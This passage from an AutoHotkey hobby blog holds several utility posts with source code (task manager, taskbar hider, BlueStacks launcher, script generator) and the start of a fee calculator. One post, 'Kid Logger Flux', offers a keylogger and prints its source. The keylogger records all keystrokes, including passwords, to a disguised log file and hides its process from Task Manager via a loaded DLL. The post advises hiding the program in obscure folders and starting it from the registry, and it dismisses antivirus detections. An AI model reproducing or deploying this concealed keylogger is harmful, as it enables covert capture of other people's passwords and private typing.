hjf

Friday, January 6, 2017

Lats AutoHotkey Functions & Classes

Lats AutoHotkey Functions & Classes

Lats AutoHotkey Functions & Classes is up and running!!! Only a couple of posts so far, but one is for my Tick Count conversion class to convert Windows time since boot tick count for a better human-readable format.

Head over to Lats AutoHotkey Functions & Classes to check it out!

Lats AutoHotkey Functions & Classes

Sunday, November 27, 2016

Task Lister - Portable Task Manager V1.1 - Update

Task Lister V1.1 - Update

Read update notes below.

Task Lister is a portable task manager that can be used as an alternative to the native Windows Task Manager. It is great for flash drives or disk to use on computers that have viruses that have disabled the task manager or it can be used as a lightweight alternative to your normal Task Manager. Though not full-featured, it can do the basic things that need to be done when hunting down viruses or whatever processes you might want to handle or find.

With Task Lister you can:

  • Kill any process
  • Open a processes folder location in explorer
  • Restart Windows Explorer
  • Run any file

HotKeys:

  • Alt+K - Kill the higlighted process
  • Alt+O - Open the higlighted processes folder location in explorer, if possible
  • Alt+R - Restart Windows Explorer
  • Alt+U - Run any file

Upadte Notes:

  • V1 - Intial release.
  • V1.1 - Fixes
    • Task list now only updates when there is no user input.
    • Smoother menu and task list navigation.
    • Runs at a higher priorty.
    • Added a fade transition when the gui minimizes or exits. Only seems to work in Windows 10.

Screenshots

Downloads

Script - Initial

; List all tasks in a Gui with a ComboBox

; Init
if not A_IsAdmin
{
    Run *RunAs "%A_ScriptFullPath%"
    ExitApp
}
#NoEnv
#SingleInstance, Force
SendMode Input
SetWorkingDir %A_ScriptDir%
OnMessage(0x200,"WM_MOUSEHOVER")
OnMessage(0x18,"WM_SHOWWINDOW")
OnMessage(0x2a3,"WM_MOUSELEAVE")
OnMessage(0x201,"WM_LBUTTONDOWN")
CoordMode, ToolTip, Client

; Vars
defaultWidth:=240
x:="explorer.exe"

; Build menus, intial loops and guis here
Menu, MainMenu, Add, &Run,FileOpen, +Break
Menu, MainMenu, Add, Restart &Explorer,RestartExplorer
Menu, MainMenu, Add, E&xit,GuiClose
Menu, HelpMenu, Add, &Help,Help, +Break
Menu, HelpMenu, Add, &About,About
Menu, MyMenuBar, Add, &File, :MainMenu
Menu, MyMenuBar, Add, &Help, :HelpMenu

Menu, Tray, NoStandard
Menu, Tray, Tip, % Spaces("Tab") Spaces("Tab") "Task Lister`nRight click for menu"
Menu, Tray, Add, &Run, FileOpen
Menu, Tray, Add, &Help, Help
Menu, Tray, Add, Restart &Explorer,RestartExplorer
Menu, Tray, Add, &About Task Lister, About
Menu, Tray, Add
Menu, Tray, Add, E&xit,GuiClose

tl:=TaskList(,,1)
Gui, Margin, 1, 1
Gui, Color,0xFEFEFA 0xFFFFFF
Gui, Font, s15 w500, Segoe UI
Gui, Add,Progress,Section  w%defaultWidth% Background0x0D4F82 c0x0078D7, 100
Gui, Add, Text, w%defaultWidth% +BackgroundTrans 0x200 +Center c0xFEFEFA yp, Task Lister
MinButton(200,20,"FEFEFA","FEFEFA",True)
CloseButton(220,8,"FEFEFA","FEFEFA",True)
Gui, Font, s8 w100 c0xFEFEFA, Segoe UI
Gui, Add, Progress, Background0x0D4F82 w%defaultWidth% h20 xs c0x0078D7, 100
MenuItem("&File",28,,1)
MenuItem("&About")

Gui, Font, s9 w400
Gui, Add, ComboBox, xs  Choose1 vChoice w%defaultWidth% 0x1 h250 +ReadOnly, % tl
Button("0x0D4F82","0x0078D7",defaultWidth,"&Kill Selected Task","Task Lister","FEFEFA",13)
Button("0x0D4F82","0x0078D7",defaultWidth,"&Open Process Location`n(If possible)","Task Lister","FEFEFA",13)
Button("0x0D4F82","0x0078D7",defaultWidth,"&Restart Explorer","Task Lister","FEFEFA",13)
Button("0x0D4F82","0x0078D7",defaultWidth,"R&un File","Task Lister","FEFEFA",13)
Gui, Show, , Task Lister
WinSet, TransColor, 0x123456 , Task Lister
Gui, -Caption +Border
Gui, Show, AutoSize, Task Lister
Gui, +LastFound +HwndMainHwnd
this_id:=WinExist()
ControlSend, ComboBox1,{Right}, ahk_id %this_id%
VarSetCapacity(tme,16,0)
NumPut(16,tme,0), NumPut(2,tme,4), NumPut(MainHwnd,tme,8)
DllCall( "TrackMouseEvent","uint",&tme )
SetTimer,RefreshList, 150
; End auto execute
Return

; Hotkeys
#IfWinActive, Task Lister
Alt & r::Gosub, RestartExplorer
Alt & o::Gosub, Open
Alt & k::Gosub, ButtonKillSelectedTask
Alt & u::Gosub, FileOpen
Alt & f::
 CoordMode, Mouse, Client
 MouseMove,%S2X%,%S2Y2%
 Menu, MainMenu, Show
 CoordMode, Mouse, Screen
Return
Alt & a::
 CoordMode, Mouse, Client
 MouseMove,%S2X%,%S2Y2%
 Menu, HelpMenu, Show
 CoordMode, Mouse ,Screen
Return
;$Down::Send, {Down}{Home}
#IfWinActive
; Functions
#Include, TLLib.ahk
#Include, ProcessInfo.ahk

; Classes


; Subs
RestartExplorer:
 If ProcExist(x)
  {
   Sleep, 150
   While, % ProcExist(x)
    {
     Process, Close, %  x
     Sleep, 1
    }
   WinWait, ahk_exe %x%,,10
   If ErrorLevel
    {
     MsgBox,20,Restart Explorer Error, % "Explorer.exe could not be started.`n`n"
                . "Trying opening manually?"
     IfMsgBox, Yes
      Gosub, FileOpen
     Return
    }
  }
 Else
  Run, % x
 SetTimer, CheckX, -4000
Return
CheckX:
 WinActivate, ahk_id %this_id%
 If ProcExist(x)
  TrayTip, Task Lister Info, Explorer.exe was restarted successfully.
Return
Open:
 Gui, Submit, NoHide
 DetectHiddenWindows, On
 WinGet,expid,PID, ahk_exe %Choice%
 this_path:=GetModuleFileNameEx(expid)
 SplitPath,this_path, ,ndir
 If ndir
  Run % ndir
 Else
  MsgBox,64,Task Lister Info,% "Can not get path from executable."
 DetectHiddenWindows, Off
Return
ButtonKillSelectedTask:
 Gui, Submit, NoHide
 Process, Close, % Choice
 WinWaitNotActive, ahk_class ConsoleWindowClass
 Gui, Flash
 Gosub, RefreshList
Return
RefreshList:
 IfWinActive, % "ahk_id " this_id
  {
   exe:=""
   Gui, Submit, NoHide
   Loop, Parse, % TaskList(,,1), |
    {
     exe:=(A_LoopField == Choice)?1:0
     If exe
      Break
    }
   If (!Choice || !exe)
    {
     ControlFocus,ComboBox1, ahk_id %this_id%
     ControlSend, ComboBox1,{Down}, ahk_id %this_id%
    }
   If (tl != TaskList(,,1))
    {
     IfWinActive, ahk_id %this_id%
      {
       WinActivate, ahk_id %this_id%
       GuiControl,,ComboBox1, % "|" TaskList(,,1)
       Gui, Flash
       SetTimer, TT_FADE_IN, -1
      }
     proc:=""
     proc:=TaskList(,1)
     tl:=TaskList(,,1)
    }
   ControlGetFocus,focus, ahk_id %this_id%
   If (focus != "Edit1")
    ControlSend, ComboBox1,{Right}, ahk_id %this_id%
  }
Return
TT_FADE_IN:
 ToolTip % "TaskList updated"
 ttx:=window._x("ahk_id " this_id)+(E1X-2)
 tty:=window._y("ahk_id " this_id)+(E1Y-2)
 WinMove, ahk_class tooltips_class32, ,%ttx% ,%tty%
 If TT_FADE("in",32)
  SetTimer,TT_FADE_OUT_FAST,-800
Return
TT_FADE_OUT_FAST:
 TT_FADE("out",16)
Return
TT_FADE_OUT_SLOW:
 TT_FADE("out",2)
Return
FileOpen:
 FileSelectFile,file,3, % A_WinDir "\System32"
 If file
  {
   Run, % file
   Gui, Flash
   file:=""
  }
Return
Help:
 MsgBox,68,Task Lister Help, % Spaces("Tab") "Task Lister is a simple program to view or kill`n"
          .      "Windows processes. In this portable program some`n"
          .      "process locations can not be opened in explorer,`n"
          .      "but others can.`n`n"
          .      "Hotkeys" A_Tab "Function`n"
          .      "-------" A_Tab "--------`n"
          .      "Alt+K" A_Tab "Kill selected process.`n"
          .      "Alt+O" A_Tab "Open selected processes folder location.`n`"
          .      "Alt+R" A_Tab "Restart Windows Explorer.`n"
          .      "Alt+U" A_Tab "Run a file.`n`n"
          .      "Email me with questions or suggestions?"
 IfMsgBox, Yes
  Gosub, Email
Return
About: 
 MsgBox,64,Task Lister Info, % Spaces("Tab") "Task Lister is a portable task manager for the Windows `n"
          .      "OS. It can be put on a disk or flash drive to use on systems `n"
          .      "that have been infected by viruses and the default Task `n"
          .      "Manager has been disabled.`n`n"
          . Spaces("Tab") "This is not a full-featured task manager, but feel free to`n"
          .      "use as a light-weight replacement for your task manager on`n"
          .      "your own system.`n`n"
          .      "Written in AutoHotkey by Ian Pride @ New Pride Services 2016"
Return
Email:
 Run, mailto:faithnomoread@yahoo.com
Return
KillTT:
 counters2=255
 Loop
  {
   If (counters2 <= -1)
    Break
   Sleep, 1
   SetTrans("ahk_class tooltips_class32",counters2)
   counters2-=16
  }
 ToolTip
Return
GuiClose:
 ExitApp

Friday, November 18, 2016

Auto-Hide Desktop

Auto-Hide Desktop

There is a basic feature in Windows 7 and 10 (though there are more options for tablets in 10) that allows the user to automatically hide the taskbar until you hover at the bottom. This is okay for some, but I have always wanted my desktop to behave differently and so I have written a new program that does exactly what I want.

Auto-Hide Desktop! will automatically hide the task bar and all desktop icons when no physical input has been received by a user after a user defined amount of time. Unlike the normal behavior you do not have to hover at the taskbar region, all you have to do is touch the mouse or keyboard and everything will automatically reappear for you as long as you have input.

Usage

This runs and has been tested in Windows 7 64 bit and Windows 10 32 bit tablet, but though it won't cause any issues you might not like the result mixed with the systems Windows 10 tablet mode. Though you may. ShowDesk.exe is a child process of the main program and ensures that if for some unknown reason the main program fails while all is hidden then it will show everything upon failure. I have tested on tons of force closes and works everytime. If all else fails just reboot your system.

The only gui is the settings which can be found in the system tray icon by right clicking on it and selecting 'Settings'. In settings you can set the idle delay and also choose to auto-run the program at Windows startup or not. Default idle delay is 3 seconds, but can be set up to 9999 seconds (lol) and, of course, auto-run is disabled by default.

Images & Screens

Downloads

Script - main function library

RR(path,name){
 RegRead,a,% path, % name
 Return a
}
Settings(){
 Global delay,runState
 Gui, Settings:New
 Gui, Settings: Color, 0xFFFFFF, 0xFEFEFA
 Gui, Settings:Font,s11,Segoe UI
 Gui, Settings:Add, Text,Section h24 0x200 w300,Delay before hiding the desktop in seconds: 
 Gui, Settings:Add, Edit, w65 x+8
 Gui, Settings:Add, UpDown, vdelay Range3-9999 0x80 gDelayChange, %delay%
 Gui, Settings:Add, Text, h24 0x200 xs w300,Run at Windows start up: 
 Gui, Settings:Add, Checkbox, x+8 vrunState gRunState Checked%runState%
 Gui, Settings:Show, AutoSize, Auto-Hide Desktop Settings
 ControlSend, Edit1, {End},Auto-Hide Desktop Settings
}
ShowDesk(){
 DetectHiddenWindows, on
    id:=WinExist("ahk_class Shell_TrayWnd")
    ControlGet,id2,Hwnd,,SysListView321,ahk_class Progman
    If !id2
        ControlGet,id2,Hwnd,,SysListView321,ahk_class WorkerW
 ControlGet,id3,Hwnd,,,ahk_class Button
 If !IsVisible(id)
  WinShow, ahk_id %id%
 If !IsVisible(id2)
  WinShow, ahk_id %id2%
 If !IsVisible(id3)
  WinShow, ahk_id %id3%
}
ToggleDeskIcons(idle_time){
 DetectHiddenWindows, On
    ControlGet,id,Hwnd,,SysListView321,ahk_class Progman
    If !id
        ControlGet,id,Hwnd,,SysListView321,ahk_class WorkerW
 If (A_TimeIdlePhysical >= idle_time)
  {
   If IsVisible(id)
    WinHide, ahk_id %id%
   Return "Desktop icons are hidden." 
  }
    Else
        {
   If !IsVisible(id)
    WinShow, ahk_id %id%
   Return
        }
}
ToggleTaskbar(idle_time){
 DetectHiddenWindows, on
    id:=WinExist("ahk_class Shell_TrayWnd")
 ControlGet,id2,Hwnd,,,ahk_class Button
 If (A_TimeIdlePhysical >= idle_time)
  {
   If IsVisible(id)
    WinHide, ahk_id %id%
   If IsVisible(id2)
    WinHide, ahk_id %id2%
   Return "Taskbar is hidden." 
  }
    Else
        {
   If !IsVisible(id)
    WinShow, ahk_id %id%
   If !IsVisible(id2)
    WinShow, ahk_id %id2% 
   Return
        }
}
IsVisible(id){
 Return DllCall("IsWindowVisible","UInt",id)
}

Sunday, November 13, 2016

BlueStacks Quick App Launcher

BlueStacks Quick App Launcher

For those that aren't familiar with BlueStacks (BS) it is an Android emulator for the Windows OS. BS allows you to use Android apps on your Windows computer allowing you to free up your mobile devices and also allows developers to test and create their applications while at their computers.

There are many things that can be done with BS and different ways it can be used and one feature I like is being able to run user installed apps from shortcuts in a folder. This makes it possible to run specific apps without starting BS first.

To make running apps even quicker I have created:

BlueStacks Quick App Launcher!

Usage

BlueStacks Quick App Launcher quickly lists any shortcut found in the BS App Folder and allows you to run any app in the list by selecting the app and either hitting Enter or by clicking the 'Start App' button. You can select an app by using the mouse or the directional keys.

Images & Screens

Downloads

Script - Source

; List and lauch Android apps in Bluestacks emulator.

; Init
OnMessage(0x200,"WM_MOUSEHOVER")
OnMessage(0x2a3,"WM_MOUSELEAVE")
#NoEnv
SendMode Input
SetWorkingDir %A_ScriptDir%
RegRead,dataDir,HKEY_LOCAL_MACHINE\SOFTWARE\BlueStacks,DataDir
RegRead,installDir,HKEY_LOCAL_MACHINE\SOFTWARE\BlueStacks,InstallDir
exeLoc:=installDir "Bluestacks.exe"
If !dataDir
 {
  MsgBox,20,BlueStacks Launcher Error, % ""
   . "BlueStacks has not been found or is not installed properly.`n"
   . "Please install BlueStacks and try again.`n`n"
   . "Would you like to download the official BlueStacks from`n"
   . "their website?"
  IfMsgBox, Yes
   Gosub, Download
  ExitApp
 }
appDir:=dataDir "UserData\Library\My Apps\"
Gosub, GetAppList
If (comboList == "No User Apps")
 {
  MsgBox,20,BlueStacks Launcher Info, % ""
   . "You have not installed any user apps in BlueStacks.`n"
   . "Would you like to open BlueStacks to install some?"
  IfMsgBox, Yes
   Run, % exeLoc
 }
FileInstall,\bs-launcher-button.png, % A_Temp "\bs-launcher-button.png"
FileInstall,,\bs-launcher-button-start.png, % A_Temp "\bs-launcher-button-start.png"
; Vars
bsExe:=FileExist(installDir "HD-StartLauncher.exe")
?installDir "HD-StartLauncher.exe"
:installDir "Bluestacks.exe"
lastList:=GetAppList()
gtitle:="BlueStacks Quick App Launcher"
buttonL:=A_Temp "\bs-launcher-button.png"
buttonS:=A_Temp "\bs-launcher-button-start.png"
minW:=300

; Build menus, intial loops and guis here
Menu, Tray, NoStandard
Menu, Tray, Add, &Download BlueStacks,Download
Menu, Tray, Add
Menu, Tray, Add, E&xit BlueStacks QAL,GuiClose

Gui, Color, 0xFFFFFF, 0xFEFEFA
Gui, Font, c0x3B5297 s13 , Segoe UI
Gui, Add, Text, w%minW%, Installed user apps in BlueStacks.
Gui, Font, c0x1D1D1D s11
Gui, Add, Combobox, xp y+8 vChoice Choose1 w%minW% 0x401, % GetAppList()
Gui, Show, AutoSize, % gtitle
ControlGetPos,,,cb1w,,Combobox1, % gtitle
Gui, Hide
bWidth:=cb1w
Gui, Add, Picture, w%bWidth% h-1 gButtonStartApp +BackgroundTrans, % buttonL
Gui, Add, Picture, w%bWidth% h-1 y+0 gButtonStartBS +BackgroundTrans, % buttonS
Gui, Show, AutoSize, % gtitle
Gui, +LastFound +HwndMainHwnd
VarSetCapacity(tme,16,0)
NumPut(16,tme,0), NumPut(2,tme,4), NumPut(MainHwnd,tme,8)
GetControls(gtitle)
SetTimer, ReCheck, 3000
Send, {Right}
; End auto execute
Return

; Hotkeys
;!r::Reload
#IfWinActive, BlueStacks Quick App Launcher
~Down::Send, {Down}{Right}
~Up::Send, {Up}{Right}
Enter::Gosub, ButtonStartApp
#IfWinActive
; Functions
#Include, ,\WinGuiLib.ahk
WM_MOUSELEAVE(){
 ToolTip
}
WM_MOUSEHOVER(){
 Global
 Local over
 over:=MouseOver(CB1X,CB1Y,CB1X2,CB1Y2)?1
 :0
 If (over == 1){
  ComboMsg()
 }
 If !over {
  ToolTip
  DllCall( "TrackMouseEvent","uint",&tme )
 }
}
GetAppList(){
 fcounter=0
 Global appDir,lnkList
 lnkList:=""
 Loop, % appDir "*.lnk"
  { 
   If (A_LoopFileExt == "lnk")
    {
     fcounter++
     If !lnkList
      lnkList:=Object()
     lnkList.Push(A_LoopFileName)
     shortName:=SubStr(lnkList[A_Index],1,StrLen(lnkList[A_Index])-4)
     comboList.=fcounter " - " shortName "|"
    }
  }
 If (comboList != lastList && comboList)
  comboList:=SubStr(comboList,1,StrLen(comboList)-1)
 Else
  comboList:="No User Apps"
 Return comboList
}
ComboMsg(){
 Static counter
 counter++
 If mod(counter,2)
  {
   Sleep, 3000
   SetTimer, KillTT, -4500
   ToolTip % "You can press [Enter] to start an app...`n"
      . "This list auto-updates..."
  }
}
; Classes


; Subs
KillTT:
 ToolTip
Return
ButtonStartApp:
 Gui, Submit, NoHide
 index:=SubStr(Choice,1,1)
 Run, % appDir lnkList[index]
 TrayTip, % gtitle " Info", % "Starting " SubStr(Choice,5)
Return
ButtonStartBS:
 Run, % bsExe
 TrayTip, % gtitle " Info", Starting BlueStacks...
Return
ReCheck:
 thisList:=GetAppList()
 If (lastList != thisList)
  {
   GuiControl, ,Combobox1,% "|" GetAppList()
   IfWinActive, % gtitle
    {
     ControlFocus,Combobox1, % gtitle
     Sleep, 150
     Send, {Down}{Right}
    }
   Else
    {
     WinActivate,  % gtitle
     ControlFocus,Combobox1, % gtitle
     Sleep, 150
     Send, {Down}{Right}
    }
  }
 lastList:=GetAppList()
Return
GetAppList:
fcounter=0
Loop, % appDir "*.lnk"
 { 
  If (A_LoopFileExt == "lnk")
   {
    fcounter++
    If !lnkList
     lnkList:=Object()
    lnkList.Push(A_LoopFileName)
    shortName:=SubStr(lnkList[A_Index],1,StrLen(lnkList[A_Index])-4)
    comboList.=fcounter " - " shortName "|"
   }
 }
If comboList
 comboList:=SubStr(comboList,1,StrLen(comboList)-1)
Else
 comboList:="No User Apps"
Return
Download:
 Run, http://www.bluestacks.com/download.html
Return
GuiClose:
 ExitApp

Wednesday, September 28, 2016

Kid Logger Flux

Kid Logger Flux V1.0 - Key Logger

Yes, I said it. A key logger. You may have heard about these and similar tools, tools that can log everything you type (yes, your passwords too) and, of course, they get a bad reputation for the damage they can cause. But like any tool they can be used for both good and bad. It all depends on the person using the tool and what they intend to do with it. I, for example, need to watch what my kids are doing on my computers. I know we would all love to trust our children, but any logical, experienced parent knows that this is not always possible; even if you are the best parent. Kids are kids. Kids are curious. Kids do bad things without thinking about the consequences. I know all too well, I was a kid with no structure or rules and even if I had rules there's was no way anyone was going to make me do anything. I now all too well how bad kids can be.

There are a few good parental tools out there and I have nothing against them, but I like to make my own tools and I really don't need all the extra stuff they provide, I have other tools I have built to do those things and all I needed was to see what things my kids are typing and so today I bring you Kid Logger Flux V1.0!

Kid Logger Flux is a very small utility that logs all physically typed keys (key logger) and logs them to a text file located in the programs folder. This utility has no network capabilities and will never connect to anything, anywhere. KLF runs hidden from the task manager and can only be killed with the hotkeys: Control+Shift+Alt+F12 or by shutting down your computer. I have made it hidden because kids are becoming a lot smarter than they used to be and if they learn about the Task Manager they could learn how to kill the process and also see where the program is located so they could remove it. KLF should be put in a folder deep somewhere where your kids will not be likely to look. The log file is named config.log so it is vague and might not attract their attention.

Usage

  • Can be ran like any other executable, by double clicking, right-click: Run, or any normal method to start apps at boot. It is not a good idea to put this in the Startup folder in your documents as that might be the first place your kid looks to find it. It is a much better idea to put a startup entry in the registry if you want this to start at boot. More info on starting things at boot with the registry here Startup registry info @ PCTOOLS.com.
  • To end this program while your computer is just use the Hoteys: Control+Shift+Alt+F12.
  • View all logged typed text in the config.log file created in the programs folder where you hid it.

VirusTotal

VirusTotal only gives two detections (which is awesome) and, of course, they are false-positives.
Virus Total Results

Downloads

Script - Source

; 
FileInstall, C:\hyde.dll, hyde.dll, 1
#NoTrayIcon
#SingleInstance, Force

; Variables
SetWorkingDir, %A_ScriptDir%

hMod := DllCall("LoadLibrary", Str, "hyde.dll", Ptr)
If (hMod)
{
 hHook := DllCall("SetWindowsHookEx", Int, 5, Ptr, DllCall("GetProcAddress", Ptr, hMod, AStr, "CBProc", ptr), Ptr, hMod, Ptr, 0, Ptr)
 If (!hHook)
  ExitApp
}
Else
 ExitApp
Loop { 
 Input, b, V T5
 FileAppend, %b%, %A_WorkingDir%\config.log
}
Return

; Hotkeys
^!+F12::ExitApp

Tuesday, September 13, 2016

AHK Script Generator

AHK Script Generator

If you like AutoHotkey and you make a lot of scripts either for fun or for work then you might sometimes have trouble with keeping your scripts organized. You might also have issues with remembering which old script has a function you want to recycle or which includes to include. One solution I have had is to keep templates for specific types of scripts. For example, I might have a game-template.ahk file or gui-template.xml file which I can just copy and paste into a new file and edit as needed. If you do a lot of scripting then this can be time consuming and so I have written a helpful utility to help generate or import custom AutoHotkey script templates.

Today I bring you AHK Script Generator V1.0! With a single click you can create date generated AHK script files with a very basic template in any folder of your choice. With just a few clicks you can import your own templates and then with a single click rename and make many duplicates.

Screenshots

And the code...

; Create pre-generated AutoHotkey script
; with a basic template or import your own
#SingleInstance, Force
; Init
OnExit, Leave

#NoEnv
SendMode Input
SetWorkingDir %A_ScriptDir%

; Vars
innerTitle := "; Header and/or title here"
df := "Segoe UI"
csf := "Lucida Console"
Global asg := "AutoHotkey Script Generator"
about =
(
AutoHotkey Script Generator is a small, but efficient utility to help you create lots of AutoHotkey scripts. You can instantly generate a basic universal script written by me or you can import your own pre-written templates.


)
extend =
(
 AHK Script Generator is, of course, written in the scripting language called AutoHotkey. For more information on the amazing scripting language that I love above all else please visit any of the links below:
)
; Build menus, intial loops and guis here
Menu, Tray, NoStandard
Menu, Tray, Add, Reload, Rld
Menu, Tray, Add, About AHK Script Generator, Abt
Menu, Tray, Add
Menu, Tray, Add, Exit, Leave

Gui, Color, , 0xFFFFE0
Gui, Add, Tab3, w500 h600 vtaba, Create Script|Import Template|About
Gui, Tab, Create Script
cf("14", , "000080", , "5")
Gui, Add, Text, , AutoHotkey Script Name`n(Optional - generated by time and date).
cf(, csf, "00001F")
Gui, Add, Edit, h23 vtitle
cf("14", , "000080", , "5")
Gui, Add, Text, , Script title or starting comments`n(Optional - adds whatever you type). 
cf(, csf, "00001F")
Gui, Add, Edit, 0x1000 r5 vinnerTitle, % innerTitle
cf("14", , "000080", , "5")
Gui, Add, Text, ,Choose your directory`n(Optional - defaults to this programs directory).
cf(, csf, "00001F")
Gui, Add, Edit, vdir h23, % A_WorkingDir
show()
ControlGetPos, xe3b, ye3b, we3b, he3b, Edit3, % asg
b1x := (xe3b + we3b) + 4
cf()
Gui, Add, Button, x%b1x% yp-1 vb1 h24, Select Directory
show()
ControlGetPos, xb1a, yb1a, wb1a, hb1a, Button1, % asg
b1width := (xb1a + wb1a) - 10
If (b1width < 420)
 {
  gap := (420 - b1width)
  e3w := we3b + gap
  b1width := "420"
  GuiControl, Move, dir, w%e3w%
  ControlGetPos, xe3c, ye3c, we3c, he3c, Edit3, % asg
  bgap := (xe3c + we3c) - 7
  GuiControl, Move, b1, x%bgap%
 }
e2width := b1width - 14
fwidth := b1width + 32
show()
GuiControl, Move, innerTitle, w%e2width%
GuiControl, Move, title, w%e2width%
ControlGetPos, xe3a, ye3a, we3a, he3a, Edit3, % asg
b2x := xe3a - 4
b2w := fwidth - 44
cf("24", , , "500", "5")
Gui, Add, Button, x%b2x% w%b2w% y+8 h64, Generate Script
show()
ControlGetPos, xb2a, yb2a, wb2a, hb2a, Button2, % asg
fheight := (yb2a + hb2a) - 8
If (fwidth < 364)
 fwidth := "364"
wtab := fwidth - 18
htab := fheight - 12
GuiControl, Move, taba, w%wtab% h%htab%
Gui, Tab, Import Template
cf("14", , "000080", , "5")
Gui, Add, Text,  vimpt, % "You can import your custom templates here."
         . "`nYou can use any readable text file in any"
         . "`nformat: TXT, AHK, XML etc..."
show()
ControlGetPos, xs4a, ys4a, ws4a, hs4a, Static4, % asg
b4y := ys4a + hs4a
cf(, csf, "00001F")
Gui, Add, Edit, vimp
show()
ControlGetPos, xe4a, ye4a, we4a, he4a, Edit4, % asg
b4ny := (ye4a - ys4a) + 5
e4w := xe4a + we4a
cf()
Gui, Add, Button, x+8 yp  h23 vfile, Select File
show()
ControlGetPos, xb4a, yb4a, wb4a, hb4a, Button3, % asg
b4w := xb4a + wb4a
If (b4w < fwidth)
 {
  bgap := fwidth - b4w
  e4nw := (bgap + we4a) - 16
  GuiControl, Move, imp, w%e4nw%
  xb4nx := (xe4a + e4nw) - 8
  GuiControl, Move, file, x%xb4nx% y%b4ny%
 }
cf("14", , "000080", , "5")
Gui, Add, Text, x%xe4a% y%yb4a% , % "Name your script`n(Optional - will keep templates name)."
cf(, csf, "00001F")
Gui, Add, Edit, viname w%e2width%
show()
ControlGetPos, xe5a, ye5a, we5a, he5a, Edit5, % asg
cf("14", , "000080", , "5")
Gui, Add, Text, x%xe4a% y%ye5a%, Choose your directory`n(Optional - defaults to this programs directory).
cf(, csf, "00001F")
Gui, Add, Edit, vifile, % A_WorkingDir
show()
ControlGetPos, xe6a, ye6a, we6a, he6a, Edit6, % asg
cf()
Gui, Add, Button, gSelect2 x+8 yp-1 h23 v2file, Select Directory
show()
ControlGetPos, xb5a, yb5a, wb5a, hb5a, Button4, % asg
b5w := xb5a + wb5a
b6y := fheight - 82 ; he6a + 8
If (b5w < fwidth)
 {
  b4gap := fwidth - b5w
  e5nw := (b4gap + we6a) - 16
  GuiControl, Move, ifile, w%e5nw%
  xb5nx := (xe6a + e5nw) - 8
  GuiControl, Move, 2file, x%xb5nx%
 }
cf("24", , , "500", "5")
b6x := b2x + 4
Gui, Add, Button, x%b6x% w%b2w% y%b6y% h64 g2gen, Generate Script
Gui, Tab, About
cf("14", , "000080", , "5")
Gui, Add, Text, w%e2width%, % about extend
cf("14", , "Red", , "5")
Gui, Add, Link, , Official Site AutoHotkey.com
Gui, Add, Link,y+0 , Official Forum AutoHotkey Forums
Gui, Add, Link,y+0 , My Blog The Tech Micrcosm
Gui, Show, w%fwidth% h%fheight%, % asg

; End auto execute
Return

; Hotkeys
!r::Gosub, Rld

; Functions
show(){
 Gui, Show, , AutoHotkey Script Generator
}
cf(size := "10", font := "Segoe UI", color := "Black", weight := "400", qty := "0"){
 Gui, Font, s%size% c%color% w%weight% q%qty%, % font 
}
funcCreateScript(dir, com, title){
 If (title = "")
  title := "AutoHotkey_" funcGetTime() ".ahk"
 Else
  title := title ".ahk"
 If (com = "")
  com := "; " title
 fp := dir "\" title
 IfNotExist, % fp
  {
 FileAppend,
(
%com%

`; Init
#NoEnv
SendMode Input
SetWorkingDir `%A_ScriptDir`%

`; Vars


`; Build menus, intial loops and guis here


`; End auto execute
Return

`; Hotkeys


`; Functions


`; Classes


`; Subs


), % fp
 funcCheckFiles(fp, asg)
  }
 Else
  funcExists(fp)
}
funcCheckFiles(file, msgtitle){
 IfExist, % file
  MsgBox, 64, % msgtitle " Info", % "Your script was created successfully at:`n`n" file
 Else
  MsgBox, 16,  % msgtitle " Error", % file . "`nwas not created. If you are trying to save to a folder"
              . "`nyou do not own then you will need to run this program"
              . "`nas adminstrator and try again."  
}

funcGetTime(){
 FormatTime, a,, MM.dd.yyyy_h.mm.ss_tt
 Return a
}
funcExists(file){
 MsgBox, 16, % asg " Error", % "AutoHotkey script file:`n`n" file "`n`nalready exists. Please rename the existing file or try a different name."
}
; Classes
Class Globals {
 SetGlobal(vVar,vVal=""){
  Global
  %vVar% := vVal
  Return
 }
 GetGlobal(vVar){
  Global
  Local vTmp
  vTmp := %vVar%
  Return vTmp
 }
}

; Subs
Abt:
 MsgBox, 64, AHK Script Generator Info, % about "Please refer to the programs About tab for informative web links."
Return
Rld:
 Reload
Return
ButtonSelectDirectory:
 DriveGet, a, list
 Loop, Parse, a
  {
   IfExist, % A_LoopField ":\Users\" A_Username "\Desktop\"
    FileSelectFolder, dir, % A_LoopField ":\", 3
  }
 GuiControl, , dir, % dir
Return
Select2:
 DriveGet, b, list
 Loop, Parse, b
  {
   IfExist, % A_LoopField ":\Users\" A_Username "\Desktop\"
    FileSelectFolder, 2dir, % A_LoopField ":\", 3
  }
 GuiControl, , ifile, % 2dir
Return
ButtonGenerateScript:
 Gui, Submit, NoHide
 funcCreateScript(dir, innerTitle, title)
Return
2gen:
 Gui, Submit, NoHide
 If iname
  name := iname
 Else
  name := fn
 If !2dir
  tdir := A_WorkingDir "\"
 Else
  tdir := 2dir "\"
 finalf := tdir name ".ahk"
 IfNotExist, % finalf
  {
   FileRead, copy,  % file
   FileAppend, %copy%, % finalf
   funcCheckFiles(finalf, asg)
  }
 Else
  funcExists(finalf)
Return
ButtonSelectFile:
 FileSelectFile, file
 SplitPath, file, , , ,fn
 GuiControl, , imp, % file
Return
GuiClose:
Leave:
 ExitApp
 

Monday, August 8, 2016

GoFundMe Calculator

GoFundMe Calculator V1.0

If you use GoFundMe or plan to in the future then you will find out that they charge a fee. Of course they do, they don't have to do anything for anyone and as they state on their website (and it most certainly makes sense to me) if you see anyone claiming to do it for free then more than likely it is a scam. I don't like being charged any more than anyone else, but I have to be grateful for a service that wouldn't be avaible otherwise; at least not as easily.

The fee they charge uses a formula with a percentage of the full donation + a fee for each card transaction that is ran through a card processing company. In the end (and IMHO) the fees really aren't that bad. But most people would never know exaclty what they will receive until the final withdrawal (or you do the math yourself of course). GoFundMe pricing can and formulas can be found here: GoFundMe Pricing Page, but today I bring you GoFundMe Calculator V1.0!

GoFundMe Calculator V1.0 calculates the total your recipient receives by providing the total donation and the total number of donations. This will work for all country regions and various VAT percentages in those respective countries. You can also use this before you even start the fund to estimate how much you need to aim for.


Note: This has been tested in the US and the math should all be good, but I am only 99% I did the VAT math right so if I can get a European/UK friend to verify this is accurate for VATs I would appreciate it.

Images

Script

As with most of my programs (mostly written in AutoHotkey) I provide the source.

; GoFundMe Calculator
#NoTrayIcon
OnExit, GuiClose
OnMessage(0x3,"WM_MOVE")
OnMessage(0x200, "WM_MOUSEMOVE")

; Init
#SingleInstance, Force

;Build Gui
Gui, Font, s11 cBlack, Segoe UI
